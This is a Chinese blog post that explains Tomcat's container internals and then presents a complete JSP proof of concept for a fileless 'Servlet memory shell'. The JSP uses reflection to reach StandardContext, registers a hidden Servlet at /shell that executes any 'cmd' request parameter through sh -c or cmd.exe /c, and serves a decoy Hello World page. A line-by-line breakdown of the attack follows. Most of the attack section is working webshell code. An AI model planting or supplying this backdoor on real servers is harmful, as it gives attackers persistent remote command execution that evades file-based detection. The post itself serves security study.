Servlet内存马

Servlet内存马

Servlet内存马 – Erosion2020 – 博客园

基础概念讲解:

StandardContext:

这是最常用的 Context 实现。它通常用于开发和生产环境,适用于大多数 Web 应用。

StandardContext 是 Tomcat 中最常用的 Context 实现,主要用于管理 Web 应用程序的生命周期。它作为一个容器,负责加载和管理 Web 应用的所有资源,包括 Servlet、JSP 页面、静态文件等。在一个典型的 Web 应用中,StandardContext 是与应用相关的核心组件,它确保 Web 应用在启动时被正确初始化,在运行时能够处理请求,在停止时被销毁。

具体来说,StandardContext 主要负责从 Web 应用的 web.xml 配置文件或注解中读取 Servlet 配置,并在应用启动时加载这些 Servlet。当请求到达时,StandardContext 会根据请求的 URL 查找匹配的 Servlet,然后将请求传递给该 Servlet 来处理。它还负责 Servlet 实例的生命周期管理,包括 Servlet 的初始化、销毁等操作。除此之外,StandardContext 还支持配置 Servlet 的初始化参数、映射路径以及错误页面等。

WrapperContext:

WrapperContext 是 Tomcat 中一个较为特殊的 Context 实现,通常用于早期版本的 Tomcat,并且它的使用相对较少。它主要用于处理与 Servlet 相关的配置和生命周期管理,尤其是在 Web 应用程序中多个 Servlet 实例共享一个容器时。WrapperContext 实际上并不作为 Tomcat 中标准的 Web 应用容器,而更多地作为一种历史遗留实现,特定版本中用于提供对 Servlet 的管理支持。

WrapperContext 的核心功能是管理和封装 Servlet 的生命周期,包括 Servlet 的初始化、服务处理以及销毁。它通过将 Servlet 与 Wrapper 进行关联,提供了对 Servlet 实例的集中管理。在这个容器中,Wrapper 负责配置每个 Servlet,并且 WrapperContext 作为容器为这些 Servlet 提供运行环境。

此外,WrapperContext 在处理请求时,充当了请求和 Servlet 之间的中介。通过对 Wrapper 的配置,WrapperContext 确保特定的请求能够被分发到正确的 Servlet 进行处理。然而,随着 Tomcat 版本的更新和架构的演进,WrapperContext 的作用逐渐被其他更加灵活和可扩展的容器所替代,如 StandardContext,因此在现代的 Tomcat 环境中,它并不常用,更多的是作为对旧版本的支持。

Wrapper:

Wrapper 是一个封装了 Servlet 的组件。Wrapper 并不直接处理请求或定义 Servlet 的逻辑,它主要负责配置和管理与 Servlet 相关的操作,比如 Servlet 的初始化、销毁和配置参数。简单来说,Wrapper 是对一个 Servlet 的“封装”,它与 Servlet 实例紧密关联,但更多地作为容器内管理的角色,处理 Servlet 的生命周期和映射。

而 WrapperContext 并不是一个广泛使用的标准组件,而是特定版本中用于处理 Wrapper 的 ContextWrapperContext 实际上是用于管理和存储多个 Wrapper(即多个 Servlet)实例的容器。它的主要作用是集中管理与 Servlet 实例相关的配置、生命周期等。当 Tomcat 启动 Web 应用时,WrapperContext 会将各个 Wrapper 加载并管理,而每个 Wrapper 则对应一个具体的 Servlet

ServletRequest(原生 Request):

ServletRequest 是 Java Servlet API 中定义的接口,它代表了客户端请求的基本信息。这个接口提供了一些通用的、与协议无关的方法,允许 Servlet 处理不同类型的请求。它是所有请求对象的父接口,无论是在 HTTP 请求、WebSocket 请求还是其他协议下,都会继承这个接口。

主要功能:

  • 获取请求参数:getParameter()getParameterMap() 等方法
  • 获取请求头:getHeader()getHeaders() 等方法
  • 获取输入流:getInputStream(),获取请求体的原始内容(如 POST 数据)

作用: ServletRequest 接口定义了与客户端请求的交互方式,但它并不处理特定协议的细节。例如,它不关心 HTTP 的请求头、Cookie 或方法(如 GET、POST 等)。

Tomcat 实现: 在 Tomcat 中,ServletRequest 通常由 Tomcat 的底层组件创建,处理和传递,它在请求的初期阶段将原始的请求数据(包括输入流、参数等)交给 Servlet 来处理。这个对象通常是最“原始”的请求对象,只包含协议无关的基本信息。

HttpServletRequest(HTTP 协议 Request):

HttpServletRequest 是 ServletRequest 的子接口,专门用于处理 HTTP 协议相关的请求信息。它不仅继承了 ServletRequest 的方法,还扩展了许多 HTTP 协议特有的功能,例如处理 HTTP 方法、请求头、Cookies、会话等。

主要功能:

  • 获取 HTTP 请求的参数:getParameter()getParameterMap() 等方法
  • 获取 HTTP 请求头:getHeader()getHeaders() 等方法
  • 获取请求的 HTTP 方法(如 GET、POST):getMethod()
  • 获取请求的路径、URL:getRequestURI()getRequestURL() 等方法
  • 获取和设置 Cookies:getCookies()setCookies() 等方法
  • 获取 Session 信息:getSession()getSession(false) 等方法

作用: HttpServletRequest 负责处理 HTTP 协议特有的内容。在 Tomcat 或其他 Servlet 容器中,HttpServletRequest 是用于处理 HTTP 请求的核心接口,它提供了比 ServletRequest 更丰富的功能,允许开发者访问和操作 HTTP 请求的各种细节,如请求方法、URL、参数、头部等。

Tomcat 实现: 在 Tomcat 中,HttpServletRequest 实际上是由 RequestFacade 类实现的。RequestFacade 类将 ServletRequest 接口提供的通用功能与 HTTP 协议特定的功能结合在一起。这个对象不仅封装了请求的基本数据,还添加了许多 HTTP 相关的信息和方法。RequestFacade 将通过底层的 Request 对象提供给开发者。

Request(Tomcat 封装对象):

Request 是 Tomcat 内部实现的一个类,它继承了 HttpServletRequest,并进一步封装了 HTTP 请求的细节。它是 Tomcat 容器内部的一个重要对象,主要负责与 Tomcat 内部的容器机制(如 StandardContextWrapper 等)进行交互。

主要功能:

  • 它封装了 HttpServletRequest,并且增加了与 Tomcat 容器相关的功能。
  • Request 对象不仅包含 HTTP 请求的信息,还包含了与容器相关的上下文信息,如 Web 应用的 StandardContext
  • Request 对象还可以处理请求的生命周期、请求分发、请求的初始化等与容器有关的操作。

作用: 在 Tomcat 中,Request 对象是 HTTP 请求的核心封装,除了提供标准的 HTTP 请求方法,还承担了许多与容器相关的任务,比如管理请求的生命周期、执行请求转发等。Tomcat 中的 Servlet 容器组件会将 Request 对象传递给相应的 Servlet 进行处理。

Tomcat 实现: Tomcat 中的 Request 类是一个非常核心的类,负责将 HTTP 请求与 Web 应用的上下文(如 StandardContext)以及其他容器功能结合起来。通过 Request 对象,Tomcat 不仅能够向 Servlet 提供 HTTP 请求的信息,还能将请求与 Tomcat 的容器机制(如 Servlet 映射、上下文管理等)结合起来。

三个 request 对象之间的关系:

  • ServletRequest 是最原始的接口,定义了与请求相关的基本操作,但它不关心协议类型(如 HTTP 或其他)。它是所有请求类的父类。
  • HttpServletRequest 继承自 ServletRequest,并专门用于处理 HTTP 协议的请求,提供了处理 HTTP 请求的扩展方法,比如请求方法、URL、Session、请求头等。
  • Request 是 Tomcat 特有的实现类,继承了 HttpServletRequest,不仅包含 HTTP 请求的信息,还增加了与 Tomcat 容器相关的功能和上下文信息。Request 对象是在 Tomcat 内部用于处理 HTTP 请求的核心对象。

jsp文件是什么:

普通 HTML 是静态的,JSP 可以在 HTML 里嵌入 Java 代码,服务器先把 JSP 编译成Servlet,再执行它生成动态内容返回给浏览器。

JSP 有三种脚本元素:

标签 类型 说明
<% %> Scriptlet 生成的代码放入 _jspService() 方法中,每次请求都会执行
<%= %> Expression 输出表达式值到页面
<%! %> Declaration 生成的代码作为类成员变量/方法,在整个 Servlet 生命周期内只初始化一次

内存马POC解析:

poc:

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>

<%!
  // 定义一个简单的 Servlet 用于执行系统命令,Servlet没什么可说的,和正常的接口没什么区别,主要是看一下如何动态获取context,并且往context里边写入Servlet的
  Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
      // 初始化逻辑(可为空)
    }

    @Override
    public ServletConfig getServletConfig() {
      return null; // 不需要配置
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
      // 获取传入的命令参数
      String cmd = servletRequest.getParameter("cmd");
      if (cmd == null || cmd.trim().isEmpty()) {
        servletResponse.getWriter().println("No command specified.");
        return;
      }
      // 判断windows类型并调用cmd指令
      boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      String output = executeCommand(cmds);
      servletResponse.setContentType("text/plain");
      servletResponse.getWriter().println(output);
    }

    private String executeCommand(String[] cmds) {
      StringBuilder output = new StringBuilder();
      try (InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
           Scanner scanner = new Scanner(in).useDelimiter("\a")) {
        if (scanner.hasNext()) {
          output.append(scanner.next());
        }
      } catch (IOException e) {
        output.append("Error executing command: ").append(e.getMessage());
      }
      return output.toString();
    }

    @Override
    public String getServletInfo() {
      return null;
    }

    @Override
    public void destroy() {
      // 销毁逻辑(可为空)
    }
  };
%>

<%
    // 使用反射获取 StandardContext 上下文
    // 在 JSP 中,request 是一个隐式对象,它是由 Servlet 容器(如 Tomcat)自动提供给每个请求的。request 对象是 HttpServletRequest 类型的实例,包含了与 HTTP 请求相关的信息,比如请求参数、请求头、请求方法等。你可以直接在 JSP 中使用它来获取这些信息。
    // HttpServletRequest继承了ServletRequest,所以可以取到ServletRequest.request这个字段
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    // Request是一个继承了HttpServletRequest的对象,所以可以通过这种方式来拿到Request对象
    Request req = (Request) reqField.get(request);
    // Request提供了getContext的方法,所以这里可以取到context
    StandardContext stdContext = (StandardContext) req.getContext();

    String servletName = servlet.getClass().getSimpleName() + "_" + System.currentTimeMillis();
    // 创建并配置新的 Wrapper
    Wrapper newWrapper = stdContext.createWrapper(); 
    newWrapper.setName(servletName);
    // 设置为重启时加载
    // loadOnStartup默认值为-1,表示Servlet命中时加载
    // loadOnStartUp!=-1时,表示加载的优先级
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 将 Servlet 添加到上下文也就是context中,这样我们就能够访问到这个Servlet了
    stdContext.addChild(newWrapper);
    stdContext.addServletMappingDecoded("/shell", servletName);
%>

<!DOCTYPE html>
<html>
<head>
  <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %></h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
</body>
</html>

分析:

页面指令与导入

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
指令 含义
contentType="text/html; charset=UTF-8" 告诉浏览器返回的内容是 HTML,编码为 UTF-8
pageEncoding="UTF-8" JSP 文件本身使用 UTF-8 编码编译
包 / 类 在攻击中的作用
org.apache.catalina.core.StandardContext Tomcat 中代表一个 Web 应用的内部类。所有已部署的 Servlet、Filter、Listener 都注册在这个对象里。攻击的核心目标——拿到它的引用,并向其中写入恶意组件。
org.apache.catalina.connector.Request Tomcat 对 HttpServletRequest 的内部实现类。通过反射获取它,进而调用 getContext() 方法拿到 StandardContext
org.apache.catalina.Wrapper Tomcat 中代表一个 Servlet 的包装类。创建一个 Wrapper 就是向容器注册一个新的 Servlet。
javax.servlet.* 标准的 Servlet API 接口。我们需要实现一个符合规范但包含恶意逻辑的 Servlet
java.lang.reflect.Field Java 反射机制中的 Field 类。这里用于突破访问限制——通过反射拿到通常无法直接访问的 request.request 内部字段。
java.io.InputStream / java.util.Scanner 执行系统命令后读取输出流,将命令执行结果返回给攻击者。

构造恶意 Servlet :

<%!
  Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
      // 初始化逻辑(可为空)
    }

    @Override
    public ServletConfig getServletConfig() {
      return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse)
        throws ServletException, IOException { 

executeCommand() 方法:

    private String executeCommand(String[] cmds) {
      StringBuilder output = new StringBuilder();
      try (InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
           Scanner scanner = new Scanner(in).useDelimiter("\a")) {
        if (scanner.hasNext()) {
          output.append(scanner.next());
        }
      } catch (IOException e) {
        output.append("Error executing command: ").append(e.getMessage());
      }
      return output.toString();
    }
  • 使用 Runtime.getRuntime().exec() 执行系统命令
  • 获取命令输出的 InputStream
  • Scanner 配合 a(BEL 字符,正常输出中不会出现)作为分隔符,读取全部输出
  • 如果执行出错,将错误信息作为返回值返回

平台兼容处理:

      boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
      String[] cmds = isLinux
          ? new String[]{"sh", "-c", cmd}
          : new String[]{"cmd.exe", "/c", cmd};

通过检查 os.name 系统属性判断操作系统类型:

操作系统 执行方式 示例命令
Windows cmd.exe /c <命令> cmd.exe /c whoami
Linux / macOS sh -c <命令> sh -c id

-c/c 参数的含义是"执行后面的字符串,执行完毕后退出"。

service() 方法:

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse)
        throws ServletException, IOException {
      String cmd = servletRequest.getParameter("cmd");
      if (cmd == null || cmd.trim().isEmpty()) {
        servletResponse.getWriter().println("No command specified.");
        return;
      }
      // ...
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      String output = executeCommand(cmds);
      servletResponse.setContentType("text/plain");
      servletResponse.getWriter().println(output);
    }
  • 从请求中取 cmd 参数
  • 如果 cmd 为空,返回提示信息
  • 根据操作系统类型构造命令
  • 执行命令并返回结果

其他接口方法:

    @Override public void init(ServletConfig config) { /* 空实现 */ }
    @Override public ServletConfig getServletConfig() { return null; }
    @Override public String getServletInfo() { return null; }
    @Override public void destroy() { /* 空实现 */ }

这些是 Servlet 接口要求实现的方法。因为是内存马,我们不需要生命周期管理和配置信息,所以全部给空即可。

注入逻辑:

<%
    // 使用反射获取 StandardContext 上下文
    // 在 JSP 中,request 是一个隐式对象...
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    // Request是一个继承了HttpServletRequest的对象,所以可以通过这种方式来拿到Request对象
    Request req = (Request) reqField.get(request);
    // Request提供了getContext的方法,所以这里可以取到context
    StandardContext stdContext = (StandardContext) req.getContext();

RequestFacade 是一个门面模式(Facade Pattern)实现,封装了 Request 对象,让 Web 应用只能通过标准接口操作,无法直接访问 Tomcat 内部 API。反射的目的就是穿透这层门面

Request.getContext() 方法返回当前请求所属的 Web 应用上下文,类型是 org.apache.catalina.Context(接口),实际实现是 StandardContext

StandardContext 就是 Context 的标准实现。拿到它,就等于拿到了这个 Web 应用的全部管理权限——可以添加、修改、删除任何 Servlet、Filter、Listener。

创建并配置 Wrapper:

    String servletName = servlet.getClass().getSimpleName() + "_" + System.currentTimeMillis();
    // 创建并配置新的 Wrapper
    Wrapper newWrapper = stdContext.createWrapper();
    newWrapper.setName(servletName);
    // 设置为重启时加载
    // loadOnStartup默认值为-1,表示Servlet命中时加载
    // loadOnStartUp!=-1时,表示加载的优先级
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

步骤拆解

操作 代码 含义
生成唯一名称 getSimpleName() + "_" + currentTimeMillis() 避免与已存在的 Servlet 名称冲突。匿名内部类编译后的简单名可能是 """$1",拼接时间戳确保唯一性。
创建 Wrapper stdContext.createWrapper() Tomcat 提供的工厂方法,返回一个 StandardWrapper 实例(Wrapper 接口的实现)。
设置名称 newWrapper.setName(servletName) 给这个 Servlet 在容器内一个唯一标识。
设置加载优先级 newWrapper.setLoadOnStartup(1) 当 Tomcat 重启时,值 ≥ 0 的 Servlet 会被预加载。设为 1 表示在 Web 应用启动后立即加载,但不指定具体顺序。设为 -1 表示懒加载(首次访问时才加载)。由于内存马已经注入了,设为正数是为了模拟真实 Servlet 的行为。
绑定 Servlet 实例 newWrapper.setServlet(servlet) 将我们在 <%! %> 中创建的恶意 Servlet 实例绑定到 Wrapper 上。
设置类名 newWrapper.setServletClass(servlet.getClass().getName()) 记录这个 Servlet 的类全限定名,Tomcat 用它来做日志、管理控制台展示等。

Wrapper 在 Tomcat 中的角色:

Tomcat 使用 Wrapper → Context → Host → Engine 的四级容器层次结构:

Engine(引擎)
  └── Host(虚拟主机,如 localhost)
        └── Context(Web 应用,如 /servlet-1.0-SNAPSHOT)
              └── Wrapper(单个 Servlet)

每个 Servlet 在 Tomcat 内部都被包装成一个 Wrapper 对象。创建一个 Wrapper 并将它添加到 Context 中,就等于在 Web 应用里动态注册了一个新的 Servlet。

将 Servlet 挂载到 URL 路径:

    // 将 Servlet 添加到上下文也就是context中,这样我们就能够访问到这个Servlet了
    stdContext.addChild(newWrapper);
    stdContext.addServletMappingDecoded("/shell", servletName);

addChild(newWrapper)将新创建的 Wrapper 添加到 StandardContext 的子列表中。在 Tomcat 的容器模型中,子容器通过

addChild() 注册到父容器中。

方法名为什么叫 addServletMappingDecoded

  • addServletMapping:添加 URL 映射
  • Decoded:表示路径已经经过 URL 解码处理

这个方法内部会维护一个 URL → Wrapper 的映射表。当请求 /shell 时,Tomcat 根据这个表找到对应的 Wrapper,再调用其包裹的 Servlet 的 service() 方法。

返回的伪装正常页面内容:

<!DOCTYPE html>
<html>
<head>
  <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %></h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
</body>
</html>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇